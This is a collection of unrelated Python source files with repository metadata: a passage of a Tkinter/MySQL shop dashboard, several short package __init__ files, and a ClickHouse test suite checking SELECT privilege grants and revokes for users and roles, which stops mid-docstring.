MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=delete_products_button_clicked) self.delete_products_button.pack() self.sales_button = Button(final_frame, text='SALES ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=sales_button_clicked) self.sales_button.pack() self.selling_history_button = Button(final_frame, text='SELLING HISTORY ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=selling_history_button_clicked) self.selling_history_button.pack() self.show_employees_button = Button(final_frame, text='SHOW EMPLOYEES ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=show_employees_button_clicked) self.show_employees_button.pack() self.add_employees_button = Button(final_frame, text='ADD EMPLOYEES ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=add_employees_button_clicked) self.add_employees_button.pack() self.update_employees_button = Button(final_frame, text='UPDATE EMPLOYEES', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=update_employees_button_clicked) self.update_employees_button.pack() self.delete_employees_button = Button(final_frame, text='DELETE EMPLOYEES', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=delete_employees_button_clicked) self.delete_employees_button.pack() self.welcome_label = Label(self.content_frame, text='WELCOME,', font=('Arial Rounded MT', 13, 'bold'), bg='#292B37', fg='white') self.welcome_label.place(x=21, y=14) self.name_label = Label(self.content_frame, text=fullname, anchor='w', width=25, font=('Arial Rounded MT', 13, 'bold'), bg='#292B37', fg='#BBBBBB') self.name_label.place(x=118, y=14) self.recent_sells_label = Label(self.content_frame, text='Recent sells,', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') self.recent_sells_label.place(x=21, y=65) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM sell ORDER BY Sell_ID DESC LIMIT 3' my_cursor.execute(query) sell_details = my_cursor.fetchall() # sell_details = [] if len(sell_details) >= 1: customer_id = sell_details[0][1] product_name = sell_details[0][5] selling_price = sell_details[0][3] date_of_sell = sell_details[0][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=45, y=309) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=45, y=334) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=45, y=359) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=45, y=384) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=90, y=340) if len(sell_details) >= 2: customer_id = sell_details[1][1] product_name = sell_details[1][5] selling_price = sell_details[1][3] date_of_sell = sell_details[1][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=423, y=179) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=423, y=204) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=423, y=229) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=423, y=254) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=550, y=210) if len(sell_details) >= 3: customer_id = sell_details[2][1] product_name = sell_details[2][5] selling_price = sell_details[2][3] date_of_sell = sell_details[2][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=423, y=440) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=423, y=465) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=423, y=490) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=423, y=515) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=550, y=470) except Exception as e: print(e) self.root.mainloop() # owner = tk.ThemedTk() # owner.get_themes() # owner.set_theme('black') # EDO = Owner(owner, 'karim')

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6

02cdaf73c401e6dc1e6281dcb00722bef22d7c78

93

py

Python

job/SLURM/Stampede.py

martintb/typyQ

889b4ea40c28ee76c452f8b2bc92f042e6be199d

[ "MIT" ]

null

job/SLURM/Stampede.py

martintb/typyQ

889b4ea40c28ee76c452f8b2bc92f042e6be199d

[ "MIT" ]

null

job/SLURM/Stampede.py

martintb/typyQ

889b4ea40c28ee76c452f8b2bc92f042e6be199d

[ "MIT" ]

null

from SLURM import SLURMJob class StampedeJob(SLURMJob): #no specialization needed! pass

15.5

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02f27de27b9906f7b473a5d521d7b7acd80cfc7f

127

py

Python

3-SL-Training/presentation/magic.py

koltpython/python-workshops

8b7f5ce1bad0380d90a65a0e033d0acefd7ddcde

[ "MIT" ]

3

2019-12-09T17:23:43.000Z

2021-12-15T09:10:44.000Z

3-SL-Training/presentation/magic.py

koltpython/python-workshops

8b7f5ce1bad0380d90a65a0e033d0acefd7ddcde

[ "MIT" ]

1

2020-02-03T18:01:20.000Z

2020-02-03T18:27:43.000Z

3-SL-Training/presentation/magic.py

koltpython/python-workshops

8b7f5ce1bad0380d90a65a0e033d0acefd7ddcde

[ "MIT" ]

null

if math.sqrt(villain.age * hero.age) < 10: hero.age += 2 villain.age -= 1 else: hero.age -= 2 villain.age += 1

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null

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6

02f8acf5fd36055b7c674a5f9bcb5272d8fa428e

135

py

Python

brainframe_qt/ui/resources/video_items/zones/__init__.py

aotuai/brainframe-qt

082cfd0694e569122ff7c63e56dd0ec4b62d5bac

[ "BSD-3-Clause" ]

17

2021-02-11T18:19:22.000Z

2022-02-08T06:12:50.000Z

brainframe_qt/ui/resources/video_items/zones/__init__.py

aotuai/brainframe-qt

082cfd0694e569122ff7c63e56dd0ec4b62d5bac

[ "BSD-3-Clause" ]

80

2021-02-11T08:27:31.000Z

2021-10-13T21:33:22.000Z

brainframe_qt/ui/resources/video_items/zones/__init__.py

aotuai/brainframe-qt

082cfd0694e569122ff7c63e56dd0ec4b62d5bac

[ "BSD-3-Clause" ]

5

2021-02-12T09:51:34.000Z

2022-02-08T09:25:15.000Z

from .abstract_zone_item import AbstractZoneItem from .zone_line_item import ZoneLineItem from .zone_region_item import ZoneRegionItem

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0

6

b88acf79bbdd8abba9a0bb51160ce4d7eb9ad45d

39

py

Python

python/doit/05/game/graphic/screen.py

gangserver/py_test

869bdfa5c94c3b6a15b87e0c3de6b2cdaca821f4

[ "Apache-2.0" ]

null

python/doit/05/game/graphic/screen.py

gangserver/py_test

869bdfa5c94c3b6a15b87e0c3de6b2cdaca821f4

[ "Apache-2.0" ]

null

python/doit/05/game/graphic/screen.py

gangserver/py_test

869bdfa5c94c3b6a15b87e0c3de6b2cdaca821f4

[ "Apache-2.0" ]

null

def screen_test(): print("screen")

13

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0

1

0

1

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6

b8bfc94cdb2c2e9a54dc01d1cf70e697b70142ca

177

py

Python

src/main.py

shuyangw/thumper-ai

d2aec405860d95b21023d247c5ead9810c26416e

[ "MIT" ]

1

2022-03-28T19:55:55.000Z

src/main.py

shuyangw/thumper-ai

d2aec405860d95b21023d247c5ead9810c26416e

[ "MIT" ]

null

src/main.py

shuyangw/thumper-ai

d2aec405860d95b21023d247c5ead9810c26416e

[ "MIT" ]

null

from deepq import init from screen import get_window_rect, get_window_pixels if __name__ == "__main__": rect = get_window_rect() print(rect) get_window_pixels(rect)

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null

0

1

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6

b22bf9a285ffee715778b5565871ebf1218b7192

34

py

Python

gmailIt/__init__.py

kid-on-github/gmailIt

d3dfadb03945fce9182a4dbbba3def0f1de8f4f7

[ "MIT" ]

null

gmailIt/__init__.py

kid-on-github/gmailIt

d3dfadb03945fce9182a4dbbba3def0f1de8f4f7

[ "MIT" ]

null

gmailIt/__init__.py

kid-on-github/gmailIt

d3dfadb03945fce9182a4dbbba3def0f1de8f4f7

[ "MIT" ]

null

from gmailIt.gmailIt import Email

17

33

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34

5.8

0.8

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1

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null

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0

1

0

1

0

6

b2432405f85fd465a29747660167af2b0febe9c9

358

py

Python

src/bindings/python/src/openvino/runtime/utils/__init__.py

kurylo/openvino

4da0941cd2e8f9829875e60df73d3cd01f820b9c

[ "Apache-2.0" ]

2

2021-12-14T15:27:46.000Z

2021-12-14T15:34:16.000Z

src/bindings/python/src/openvino/runtime/utils/__init__.py

kurylo/openvino

4da0941cd2e8f9829875e60df73d3cd01f820b9c

[ "Apache-2.0" ]

33

2021-09-23T04:14:30.000Z

2022-01-24T13:21:32.000Z

src/bindings/python/src/openvino/runtime/utils/__init__.py

kurylo/openvino

4da0941cd2e8f9829875e60df73d3cd01f820b9c

[ "Apache-2.0" ]

11

2021-11-09T00:51:40.000Z

2021-11-10T12:04:16.000Z

# Copyright (C) 2018-2022 Intel Corporation # SPDX-License-Identifier: Apache-2.0 """Generic utilities. Factor related functions out to separate files.""" from openvino.pyopenvino.util import numpy_to_c from openvino.pyopenvino.util import clone_model from openvino.pyopenvino.util import get_constant_from_source, replace_node, replace_output_update_name

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null

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1

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1

0

1

0

6

a22fbcbd2774a5e2dcb37f384d6ad1281d75b45d

44

py

Python

numba/dppl/ocl/__init__.py

DrTodd13/numba

de35af55d295f1677cca76646691d8c51c79d3cf

[ "BSD-2-Clause" ]

null

numba/dppl/ocl/__init__.py

DrTodd13/numba

de35af55d295f1677cca76646691d8c51c79d3cf

[ "BSD-2-Clause" ]

null

numba/dppl/ocl/__init__.py

DrTodd13/numba

de35af55d295f1677cca76646691d8c51c79d3cf

[ "BSD-2-Clause" ]

null

from .atomics import atomic_support_present

22

43

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44

6.166667

1

0

0.090909

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0.925

0

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true

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1

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1

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null

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1

0

null

0

1

0

1

0

1

0

6

a236d65b713cc258b23a68cea03682d9f0c4eb86

31

py

Python

pyattck/preattck/__init__.py

timb-machine/pyattck

1636c9191a92fa28e2cc03f8f04b85195070f0b9

[ "MIT" ]

null

pyattck/preattck/__init__.py

timb-machine/pyattck

1636c9191a92fa28e2cc03f8f04b85195070f0b9

[ "MIT" ]

null

pyattck/preattck/__init__.py

timb-machine/pyattck

1636c9191a92fa28e2cc03f8f04b85195070f0b9

[ "MIT" ]

null

from .preattck import PreAttck

15.5

30

0.83871

4

31

6.5

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1

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true

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1

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1

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null

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0

null

0

1

0

1

0

1

0

6

a2425692b57e3f9926f2a05af100b8b74a2bbad1

106

py

Python

riverrunner/__init__.py

lukeWaninger/RiverRunner

db977d9eccbc711b15678af3f94f1891375fb001

[ "MIT" ]

null

riverrunner/__init__.py

lukeWaninger/RiverRunner

db977d9eccbc711b15678af3f94f1891375fb001

[ "MIT" ]

null

riverrunner/__init__.py

lukeWaninger/RiverRunner

db977d9eccbc711b15678af3f94f1891375fb001

[ "MIT" ]

null

from .context import * from .repository import * from .daily import * from .continuous_retrieval import *

21.2

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106

6.230769

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null

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1

0

1

0

1

0

6

a25a2f6cedccff00dbfcc1c81ee7bb27e7f680e1

87

py

Python

built_in_functions/help_function.py

magicalcarpet/the_complete_python_course

0ac0c5015a93607d7d29258ac0a3fc38dda81bd2

[ "MIT" ]

null

built_in_functions/help_function.py

magicalcarpet/the_complete_python_course

0ac0c5015a93607d7d29258ac0a3fc38dda81bd2

[ "MIT" ]

null

built_in_functions/help_function.py

magicalcarpet/the_complete_python_course

0ac0c5015a93607d7d29258ac0a3fc38dda81bd2

[ "MIT" ]

null

# help(len) # help(print) # help("len") # help(str) # help(list) # help("hi".replace)

10.875

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0

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1

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null

0

1

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6

a293b37b625f98887b548ea19cb7b52329e65b72

25

py

Python

doitlater/__init__.py

evalkaz/doitlater

c133c5bd5c2e295a72f84456bd3edd9ca21d1475

[ "MIT" ]

null

doitlater/__init__.py

evalkaz/doitlater

c133c5bd5c2e295a72f84456bd3edd9ca21d1475

[ "MIT" ]

null

doitlater/__init__.py

evalkaz/doitlater

c133c5bd5c2e295a72f84456bd3edd9ca21d1475

[ "MIT" ]

null

from .later import Later

12.5

24

0.8

4

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5

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0

0.16

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1

25

0.952381

0

1

0

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null

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0

null

0

1

0

1

0

1

0

6

a2a1f7e490dcbf14c0d6ac61bbffcc87f05e9c71

18

py

Python

textattack/models/entailment/__init__.py

fighting41love/TextAttack

24e48f0022dc3a7bdcd5cbb3430f1c72cfcb522d

[ "MIT" ]

2

2020-07-08T08:55:37.000Z

2020-09-03T00:57:38.000Z

textattack/models/entailment/__init__.py

SatoshiRobatoFujimoto/TextAttack

a809a9bddddff9f41750949e26edde26c8af6cfa

[ "MIT" ]

null

textattack/models/entailment/__init__.py

SatoshiRobatoFujimoto/TextAttack

a809a9bddddff9f41750949e26edde26c8af6cfa

[ "MIT" ]

null

from . import bert

18

0.777778

3

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4.666667

1

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0.166667

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1

18

0.933333

0

1

0

true

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1

0

null

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null

0

1

0

1

0

1

0

6

a2d3092f1c3c3a27698cdfae61ccb8ab3f468427

26,409

py

Python

tests/testflows/rbac/tests/privileges/select.py

lizhichao/ClickHouse

3f5dc37095ccca18de490fab162d6e3cb99756aa

[ "Apache-2.0" ]

1

2020-10-19T06:32:10.000Z

tests/testflows/rbac/tests/privileges/select.py

lizhichao/ClickHouse

3f5dc37095ccca18de490fab162d6e3cb99756aa

[ "Apache-2.0" ]

null

tests/testflows/rbac/tests/privileges/select.py

lizhichao/ClickHouse

3f5dc37095ccca18de490fab162d6e3cb99756aa

[ "Apache-2.0" ]

null

from contextlib import contextmanager import json from testflows.core import * from testflows.asserts import error from rbac.requirements import * import rbac.tests.errors as errors table_types = { "MergeTree": "CREATE TABLE {name} (d DATE, a String, b UInt8, x String, y Int8, z UInt32) ENGINE = MergeTree(d, (a, b), 111)", "ReplacingMergeTree": "CREATE TABLE {name} (d DATE, a String, b UInt8, x String, y Int8, z UInt32) ENGINE = ReplacingMergeTree(d, (a, b), 111)", "SummingMergeTree": "CREATE TABLE {name} (d DATE, a String, b UInt8, x String, y Int8, z UInt32) ENGINE = SummingMergeTree(d, (a, b), 111)", "AggregatingMergeTree": "CREATE TABLE {name} (d DATE, a String, b UInt8, x String, y Int8, z UInt32) ENGINE = AggregatingMergeTree(d, (a, b), 111)", "CollapsingMergeTree": "CREATE TABLE {name} (d Date, a String, b UInt8, x String, y Int8, z UInt32) ENGINE = CollapsingMergeTree(d, (a, b), 111, y);", "VersionedCollapsingMergeTree": "CREATE TABLE {name} (d Date, a String, b UInt8, x String, y Int8, z UInt32, version UInt64, sign Int8, INDEX a (b * y, d) TYPE minmax GRANULARITY 3) ENGINE = VersionedCollapsingMergeTree(sign, version) ORDER BY tuple()", "GraphiteMergeTree": "CREATE TABLE {name} (key UInt32, Path String, Time DateTime, d Date, a String, b UInt8, x String, y Int8, z UInt32, Value Float64, Version UInt32, col UInt64, INDEX a (key * Value, Time) TYPE minmax GRANULARITY 3) ENGINE = GraphiteMergeTree('graphite_rollup_example') ORDER BY tuple()" } table_requirements ={ "MergeTree": RQ_SRS_006_RBAC_Privileges_Select_MergeTree("1.0"), "ReplacingMergeTree": RQ_SRS_006_RBAC_Privileges_Select_ReplacingMergeTree("1.0"), "SummingMergeTree": RQ_SRS_006_RBAC_Privileges_Select_SummingMergeTree("1.0"), "AggregatingMergeTree": RQ_SRS_006_RBAC_Privileges_Select_AggregatingMergeTree("1.0"), "CollapsingMergeTree": RQ_SRS_006_RBAC_Privileges_Select_CollapsingMergeTree("1.0"), "VersionedCollapsingMergeTree": RQ_SRS_006_RBAC_Privileges_Select_VersionedCollapsingMergeTree("1.0"), "GraphiteMergeTree": RQ_SRS_006_RBAC_Privileges_Select_GraphiteMergeTree("1.0"), } @contextmanager def table(node, name, table_type="MergeTree"): try: with Given(f"I have a {table_type} table"): node.query(table_types[table_type].format(name=name)) yield finally: with Finally("I drop the table"): node.query(f"DROP TABLE IF EXISTS {name}") @contextmanager def user(node, name): try: with Given("I have a user"): node.query(f"CREATE USER OR REPLACE {name}") yield finally: with Finally("I drop the user"): node.query(f"DROP USER IF EXISTS {name}") @contextmanager def role(node, role): try: with Given("I have a role"): node.query(f"CREATE ROLE OR REPLACE {role}") yield finally: with Finally("I drop the role"): node.query(f"DROP ROLE IF EXISTS {role}") @TestScenario def without_privilege(self, table_type, node=None): """Check that user without select privilege on a table is not able to select on that table. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"): with When("I run SELECT without privilege"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("SELECT * FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Grant("1.0"), ) def user_with_privilege(self, table_type, node=None): """Check that user can select from a table on which they have select privilege. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user88"): pass with user(node, "user0"): with When("I grant privilege"): node.query("GRANT SELECT ON merge_tree TO user0") with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user0")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Revoke("1.0"), ) def user_with_revoked_privilege(self, table_type, node=None): """Check that user is unable to select from a table after select privilege on that table has been revoked from the user. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"): with When("I grant privilege"): node.query("GRANT SELECT ON merge_tree TO user0") with And("I revoke privilege"): node.query("REVOKE SELECT ON merge_tree FROM user0") with And("I use SELECT, throws exception"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("SELECT * FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario def user_with_privilege_on_columns(self, table_type): Scenario(run=user_column_privileges, examples=Examples("grant_columns revoke_columns select_columns_fail select_columns_pass data_pass table_type", [tuple(list(row)+[table_type]) for row in user_column_privileges.examples])) @TestOutline(Scenario) @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Column("1.0"), ) @Examples("grant_columns revoke_columns select_columns_fail select_columns_pass data_pass", [ ("d", "d", "x", "d", '\'2020-01-01\''), ("d,a", "d", "x", "d", '\'2020-01-01\''), ("d,a,b", "d,a,b", "x", "d,b", '\'2020-01-01\',9'), ("d,a,b", "b", "y", "d,a,b", '\'2020-01-01\',\'woo\',9') ]) def user_column_privileges(self, grant_columns, select_columns_pass, data_pass, table_type, revoke_columns=None, select_columns_fail=None, node=None): """Check that user is able to select on granted columns and unable to select on not granted or revoked columns. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type), user(node, "user0"): with Given("The table has some data on some columns"): node.query(f"INSERT INTO merge_tree ({select_columns_pass}) VALUES ({data_pass})") with When("I grant select privilege"): node.query(f"GRANT SELECT({grant_columns}) ON merge_tree TO user0") if select_columns_fail is not None: with And("I select from not granted column"): exitcode, message = errors.not_enough_privileges(name="user0") node.query(f"SELECT ({select_columns_fail}) FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) with Then("I select from granted column, verify correct result"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user0")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output if revoke_columns is not None: with When("I revoke select privilege for columns from user"): node.query(f"REVOKE SELECT({revoke_columns}) ON merge_tree FROM user0") with And("I select from revoked columns"): exitcode, message = errors.not_enough_privileges(name="user0") node.query(f"SELECT ({select_columns_pass}) FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Grant("1.0"), ) def role_with_privilege(self, table_type, node=None): """Check that user can select from a table after it is granted a role that has the select privilege for that table. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user0"): with role(node, "role0"): with When("I grant select privilege to a role"): node.query("GRANT SELECT ON merge_tree TO role0") with And("I grant role to the user"): node.query("GRANT role0 TO user0") with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user0")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Revoke("1.0"), ) def role_with_revoked_privilege(self, table_type, node=None): """Check that user with a role that has select privilege on a table is unable to select from that table after select privilege has been revoked from the role. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), role(node, "role0"): with When("I grant privilege to a role"): node.query("GRANT SELECT ON merge_tree TO role0") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") with And("I revoke privilege from the role"): node.query("REVOKE SELECT ON merge_tree FROM role0") with And("I select from the table"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("SELECT * FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario def user_with_revoked_role(self, table_type, node=None): """Check that user with a role that has select privilege on a table is unable to select from that table after the role with select privilege has been revoked from the user. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), role(node, "role0"): with When("I grant privilege to a role"): node.query("GRANT SELECT ON merge_tree TO role0") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") with And("I revoke the role from the user"): node.query("REVOKE role0 FROM user0") with And("I select from the table"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("SELECT * FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario def role_with_privilege_on_columns(self, table_type): Scenario(run=role_column_privileges, examples=Examples("grant_columns revoke_columns select_columns_fail select_columns_pass data_pass table_type", [tuple(list(row)+[table_type]) for row in role_column_privileges.examples])) @TestOutline(Scenario) @Requirements( RQ_SRS_006_RBAC_Privileges_Select_Column("1.0"), ) @Examples("grant_columns revoke_columns select_columns_fail select_columns_pass data_pass", [ ("d", "d", "x", "d", '\'2020-01-01\''), ("d,a", "d", "x", "d", '\'2020-01-01\''), ("d,a,b", "d,a,b", "x", "d,b", '\'2020-01-01\',9'), ("d,a,b", "b", "y", "d,a,b", '\'2020-01-01\',\'woo\',9') ]) def role_column_privileges(self, grant_columns, select_columns_pass, data_pass, table_type, revoke_columns=None, select_columns_fail=None, node=None): """Check that user is able to select from granted columns and unable to select from not granted or revoked columns. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("The table has some data on some columns"): node.query(f"INSERT INTO merge_tree ({select_columns_pass}) VALUES ({data_pass})") with user(node, "user0"), role(node, "role0"): with When("I grant select privilege"): node.query(f"GRANT SELECT({grant_columns}) ON merge_tree TO role0") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") if select_columns_fail is not None: with And("I select from not granted column"): exitcode, message = errors.not_enough_privileges(name="user0") node.query(f"SELECT ({select_columns_fail}) FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user0")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() if revoke_columns is not None: with When("I revoke select privilege for columns from role"): node.query(f"REVOKE SELECT({revoke_columns}) ON merge_tree FROM role0") with And("I select from revoked columns"): exitcode, message = errors.not_enough_privileges(name="user0") node.query(f"SELECT ({select_columns_pass}) FROM merge_tree", settings = [("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Grant("1.0"), ) def user_with_privilege_on_cluster(self, table_type, node=None): """Check that user is able to select from a table with privilege granted on a cluster. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): try: with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with Given("I have a user on a cluster"): node.query("CREATE USER OR REPLACE user0 ON CLUSTER sharded_cluster") with When("I grant select privilege on a cluster"): node.query("GRANT ON CLUSTER sharded_cluster SELECT ON merge_tree TO user0") with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user0")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() finally: with Finally("I drop the user"): node.query("DROP USER user0 ON CLUSTER sharded_cluster") @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Grant("1.0"), ) def user_with_privilege_from_user_with_grant_option(self, table_type, node=None): """Check that user is able to select from a table when granted privilege from another user with grant option. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user0"), user(node, "user1"): with When("I grant privilege with grant option to user"): node.query("GRANT SELECT ON merge_tree TO user0 WITH GRANT OPTION") with And("I grant privilege to another user via grant option"): node.query("GRANT SELECT ON merge_tree TO user1", settings = [("user","user0")]) with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user1")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Grant("1.0"), ) def role_with_privilege_from_user_with_grant_option(self, table_type, node=None): """Check that user is able to select from a table when granted a role with select privilege that was granted by another user with grant option. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user0"), user(node, "user1"), role(node, "role0"): with When("I grant privilege with grant option to user"): node.query("GRANT SELECT ON merge_tree TO user0 WITH GRANT OPTION") with And("I grant privilege to a role via grant option"): node.query("GRANT SELECT ON merge_tree TO role0", settings = [("user","user0")]) with And("I grant the role to another user"): node.query("GRANT role0 TO user1") with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user1")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Grant("1.0"), ) def user_with_privilege_from_role_with_grant_option(self, table_type, node=None): """Check that user is able to select from a table when granted privilege from a role with grant option """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user0"), user(node, "user1"), role(node, "role0"): with When("I grant privilege with grant option to a role"): node.query("GRANT SELECT ON merge_tree TO role0 WITH GRANT OPTION") with When("I grant role to a user"): node.query("GRANT role0 TO user0") with And("I grant privilege to a user via grant option"): node.query("GRANT SELECT ON merge_tree TO user1", settings = [("user","user0")]) with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user1")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Grant("1.0"), ) def role_with_privilege_from_role_with_grant_option(self, table_type, node=None): """Check that a user is able to select from a table with a role that was granted privilege by another role with grant option """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with Given("I have some data inserted into table"): node.query("INSERT INTO merge_tree (d) VALUES ('2020-01-01')") with user(node, "user0"), user(node, "user1"), role(node, "role0"), role(node, "role1"): with When("I grant privilege with grant option to role"): node.query("GRANT SELECT ON merge_tree TO role0 WITH GRANT OPTION") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") with And("I grant privilege to another role via grant option"): node.query("GRANT SELECT ON merge_tree TO role1", settings = [("user","user0")]) with And("I grant the second role to another user"): node.query("GRANT role1 TO user1") with Then("I verify SELECT command"): user_select = node.query("SELECT d FROM merge_tree", settings = [("user","user1")]) default = node.query("SELECT d FROM merge_tree") assert user_select.output == default.output, error() @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Revoke("1.0"), ) def revoke_privilege_from_user_via_user_with_grant_option(self, table_type, node=None): """Check that user is 